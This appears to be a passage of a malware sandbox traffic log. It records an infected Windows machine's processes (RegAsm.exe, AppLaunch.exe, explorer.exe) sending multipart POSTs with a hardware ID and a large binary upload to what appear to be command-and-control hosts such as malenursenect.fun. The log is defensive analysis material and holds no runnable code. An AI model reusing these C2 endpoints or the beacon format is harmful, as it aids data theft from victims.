Oct 3, 2023 09:55:37.688587904 CEST	6575	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:37.689044952 CEST	6575	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:41.106264114 CEST	6581	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=mmkn34rhimfi26b7lkb5lqgsj8; expires=Sat, 27 Jan 2024 01:42:19 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:40 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KuSGe5zodbsKjiSOe8xwcwOZrw3hYGUXhrj8J5TQXv75B6RCw2WvVsxpz7b4RqN%2BHe6a1roKw%2Fdlqjojim8lSrCBZ4UTiCjKZH11Gqa%2BoXNbC4E5XrumVBgcLENox%2B%2FDLaNJzw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039fb8ce532d16-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:41.106484890 CEST	6581	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.3	49912	104.21.81.17	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:39.119782925 CEST	6578	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:39.121269941 CEST	6578	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:41.022811890 CEST	6579	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=gr5g1d4kbtk9ph1ltmioi5d6m7; expires=Sat, 27 Jan 2024 01:42:19 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:40 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KDdp6VmKuGbhSz9oH0zNnRaY40vPUQhZKCXMV5MEF3eB91PUQ%2BrjZXMG6TXEZ7NuVIpPiO1%2FajJAP%2BnZlnB8gN3xaMPzNEU96Al2VGznyW9O9lLTRsNfrXBo8%2FE0b5Xysifnpg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039fc1b9b42066-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:41.022849083 CEST	6579	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.3	49913	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:41.336431980 CEST	6582	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:41.336878061 CEST	6582	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:44.403184891 CEST	7418	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=hd10mk4506obl5a96bjunoant6; expires=Sat, 27 Jan 2024 01:42:23 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:44 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fBZzbhlf8STLH8Ab0wf4Lvt%2B%2BEjFmzlIzGdptxUdYbNAT%2FK6B5dCr043QpxHW1AuhmifGWiI3950YSfwn2hwn1YC%2BaR8h8fFBu2RsyFQz1s7i1c%2B1Q4RpGAFEnKzh2Om9OpEMA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039fcf9dee0815-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:44.403260946 CEST	7418	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.3	49914	104.21.81.17	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:41.539503098 CEST	6583	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 718251 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:41.540349007 CEST	6594	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:41.635037899 CEST	6595	OUT	Data Raw: f5 b7 f2 3f a9 43 63 ff 25 f4 7e 11 f7 43 3d 20 1f 27 dc 16 d5 ed a1 8f af a5 ef b4 7c 7d 7d 4c d4 e2 c0 be 69 3e 66 8c d3 b1 dc 32 b8 be f5 5a c2 6b aa cc f5 6f f9 02 e3 75 1b fb e7 47 f7 23 89 43 c0 b9 3d f8 dd 04 de 9b 50 0f 88 f7 53 d4 e8 71 Data Ascii: ?Cc%~C= '\|}}Li>f2ZkouG#C=PSq&}w?3?L{/Agb`L9?G9s8t&Of~-8FIc13ueN_D_}g6Yp5{XFRu/UW\]w)
Oct 3, 2023 09:55:41.635524988 CEST	6598	OUT	Data Raw: 50 bf 27 79 3d ca 8e 85 65 59 a9 43 ea ba e6 9a 6b 0a 2f ef e3 79 c2 9e 6e 0c d8 13 73 24 2b fe 9f f2 42 61 4b 96 8e 2e cd b2 58 55 56 7d d6 f2 45 db 80 db ac fc cf 57 07 6e ab af 2e d5 ef e9 f2 59 ed 51 0d 25 af 3f 8d ff a5 d5 d9 f2 bf d6 06 61 Data Ascii: P'y=eYCk/yns$+BaK.XUV}EWn.YQ%?a/k~^g1?!_!@+<~25P8"3OHx4}/f=s=k2C-U{%=?K'r46V>eM!`}r?+3+Z?~[;d*!aNd{
Oct 3, 2023 09:55:41.635559082 CEST	6601	OUT	Data Raw: bb fe 1a 7e 07 df ef bd 61 87 fb dd 43 0f ba 3d 03 ee b7 29 60 7e e1 67 f4 7d e3 67 1e 48 e5 7d cc a8 2c 8d a3 95 ab a2 c7 2f 97 f8 1c 7e d7 df c8 f1 58 1b c8 9c 4f b5 80 aa ff d3 df 4b a3 75 cb a7 e4 01 51 7f e0 98 fb 29 a7 8d b6 61 05 f9 e5 a2 Data Ascii: ~aC=)`~g}gH},/~XOKuQ)a/t\|Lx~ghq/=b\%;2~/, su%3K=>[eKN/oyX''/gk)c_[Y2dX/W
Oct 3, 2023 09:55:41.635591030 CEST	6602	OUT	Data Raw: fd ff d4 eb 7f 2a e3 fa a7 7a bc d7 ff 64 ce eb 1f d8 1d 6a f6 90 e3 31 03 ec b9 fe a7 e6 24 ee 39 89 eb 7f 2a 79 fd 57 fd c3 7d 8b f7 3a bd 37 62 bb 90 59 f2 32 ba 3d 17 3e f3 3c 87 4c 14 cf 53 3c 47 f1 5e 66 1d 3f 5c 87 ef 2f ef d8 0f eb c2 fd Data Ascii: zdj1$9yW}:7bY2=><LS<G^f?\/WawO>9uQa~c`)+R%ukeU>mmfY}W}f'!\|_5?@5"/IBd9Op%d>=o0.+:?=n.
Oct 3, 2023 09:55:41.635605097 CEST	6604	OUT	Data Raw: 76 a7 a6 d3 f4 9e cf eb e0 7b 3f e7 8b e2 67 9b e6 b5 e7 3c 52 c8 f6 f8 dd 19 e6 fd 60 ee c7 f1 35 d8 12 8c 70 5e 92 bf 31 af c3 f1 37 4e d3 31 ab 35 56 e7 e5 2d 3e 83 e5 78 1a f3 0d 5d 4e cd 3b de 9f 9c d3 c3 51 70 59 d6 10 5a 5c 42 a7 23 37 64 Data Ascii: v{?g<R`5p^17N15V->x]N;QpYZ\B#7d!j,EMvn}=dc?ciE#.A:u#Kyf}b.Gh8u1OsQ?wVfQQy0i^qO.m?Y7
Oct 3, 2023 09:55:41.635618925 CEST	6606	OUT	Data Raw: 7c a2 bf d1 3f 58 59 5f f8 4c 20 1e 88 79 7d d9 cf 6a 9a 34 0c a8 15 64 06 67 e9 f0 b4 9e 23 d6 3d 22 95 ef a5 d9 c5 27 ec 14 f3 3b 1d d3 b1 ce 84 fd 80 99 05 a2 de 84 c7 a3 cc 0b 51 93 72 c8 e5 7f 1f f2 bf 8f 7c ea 85 ee 86 ef 7e dd fd fb dd bf Data Ascii: \|?XY_L y}j4dg#="';Qr\|~=s?.JaO\|n5'chsqvKhq<Yao=/r-v!G`}nxN"!?<r_?0(=aq?DgsW6wq?m
Oct 3, 2023 09:55:41.635659933 CEST	6609	OUT	Data Raw: 16 ad 73 45 cf 45 eb dc 56 de 5e f7 f5 8f cb 29 f7 b3 ee 51 18 f3 8f df 5f 68 59 be cf ea 3d 91 b5 80 96 66 db 77 7f c6 7b b8 b5 3c bf bb c1 e7 43 9e fc 54 fa 2c 5b 08 5c 50 a7 2f 99 9a d3 e3 bf 8b 2c 0f e3 68 a4 e9 ec 7d ef ec 90 01 a6 3e ff a7 Data Ascii: sEEV^)Q_hY=fw{<CT,[\P/,h}>RO1;4f)}L7eck'\j5riq)+j"mk.9 &_f'quOSOuyDsNI>c1WRN(eK_K}.X
Oct 3, 2023 09:55:41.635698080 CEST	6611	OUT	Data Raw: 36 c6 cb 28 f3 93 3a 79 3d 58 0f 33 37 4b 0f c8 eb 60 0d 1f fb 14 b3 e9 b6 71 fe 13 dd 5e 6d 1f e7 3a e6 f5 61 ac 43 4b d3 c5 0c 88 cf 53 8b 95 71 9f 97 f5 5c d6 71 e5 fa 70 39 3e f7 70 3a 7e e2 39 64 b5 9d eb e4 f3 ca ba ee 78 bf d4 de ff 9f 57 Data Ascii: 6(:y=X37K`q^m:aCKSq\qp9>p:~9dxWJZ'2p/(qO%\|eq{}c3nu~e;JcZkQ2~&2s}88\|BQ.,Ngi),.zp,fZIk}ry
Oct 3, 2023 09:55:41.635730982 CEST	6614	OUT	Data Raw: 38 25 2f cb 7e c0 7c 3f 56 bb f0 82 f3 7a b6 69 ff e9 f1 54 db 6f f1 58 c2 b2 ca 0f 9b 71 fb 8b 5a d3 f5 f3 3a f2 ac fb 80 25 13 b1 55 dd 3f fb 04 eb a9 62 4d ef df aa fb bf 89 73 6a 14 ac f7 fc 18 0b 7e f7 da 81 39 ec a0 a5 e3 09 d3 69 07 2f 9b Data Ascii: 8%/~\|?VziToXqZ:%U?bMsj~9i/0bs>i0yXvT*T;lE1Sl@I;j+lg=u\vxu~"\f!o;}m@Ve5m
Oct 3, 2023 09:55:45.898035049 CEST	7424	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=g4ao80a3uihhden3r3q8ocqg4a; expires=Sat, 27 Jan 2024 01:42:24 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:45 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ndvGzV4XVU2RYPWbM5q4YQ4MznisO2xdykqZ%2FAVKZGC2bNEI6gLKcAJl1bZMiJNf7X2JbepgVwInrqNghAG24RTrd6VjhkyB9hsGw1YEtllbCEM4rtVDI8VtbVuz05SLRUGwIw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039fd0df750835-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:45.898097992 CEST	7424	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.3	49915	172.67.151.219	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:44.626358986 CEST	7418	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:44.632916927 CEST	7419	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:44.998611927 CEST	7420	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=aj2d9fu544c099cg4jj9pm4mun; expires=Sat, 27 Jan 2024 01:42:23 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:44 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BSVXMbr6IG8vZmwc7BZ9BmpWSFALbbVtXdAfVUt%2BEWuXB6LxiMXLcoiB2p%2FSfPbElBe3EqHXTl8lSaAlIJzqN8ksAlkWweumBtFJ9Ss9b3gLgbDmbqvt6hrV%2F%2BfCgXMakGB8Qg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039fe429f60593-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:44.998677969 CEST	7420	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.3	49916	172.67.151.219	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:45.229557037 CEST	7421	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:45.231204987 CEST	7422	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:45.613132000 CEST	7423	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=h57kilvd02sdh8tapmlluf0cr2; expires=Sat, 27 Jan 2024 01:42:24 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:45 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=RKpwWSJFaXoG7e6Najly54KBKrCkvuQceYekhJ3VqJs6Qh7ODyOZZpQ2RskNEMqoGaHRT314zhkjUBSSIB%2BdjbQtuXImOxfDj1dtw2H9zFIWhSHFkZDSr2NXyFX8jyt8x9pXEw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039fe7eec93ae4-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:45.613202095 CEST	7423	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49813	186.182.55.44	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:02.844602108 CEST	1555	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://seqlxfb.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 284 Host: gudintas.at
Oct 3, 2023 09:55:02.844633102 CEST	1556	OUT	Data Raw: 3b 6e 52 62 f2 c2 1e 26 d6 db c6 07 04 74 0b cc 0c 03 c0 96 1a 05 92 64 0e 75 72 e2 30 c6 b1 6e 9b 2b c3 5d 01 6a 51 69 e9 9d 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0d 6b 2c 90 f5 76 0b 75 62 26 ce e0 Data Ascii: ;nRb&tdur0n+]jQi?*$`7C[zqNA -[k,vub&ws%/s)bsq9&W22L59Wx"W= 6_- Zs"];@!lkU}n=w\|xXhg<j
Oct 3, 2023 09:55:03.776099920 CEST	1556	IN	HTTP/1.0 404 Not Found Date: Tue, 03 Oct 2023 07:55:03 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.3	49918	172.67.151.219	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:48.511243105 CEST	7432	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:48.511986017 CEST	7432	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:48.844564915 CEST	7434	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=7ki7imlscefafasnntkabctmcp; expires=Sat, 27 Jan 2024 01:42:27 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:48 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=g92OJN61SNdspWmlCpwO3DBv0f%2BkQUp4yKbruXUKUF%2FqyB43RBT1%2F7xH%2BfXLddFIq2mVQxAGQ0tGzQ3D1hqleYBRNk55IRtoji59DP8y3hsA7ikmfPYovQydqwGH9Wk1Gpg8Ag%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039ffc6acf07d4-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:48.844619989 CEST	7434	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.3	49919	172.67.151.219	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:49.102274895 CEST	7434	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
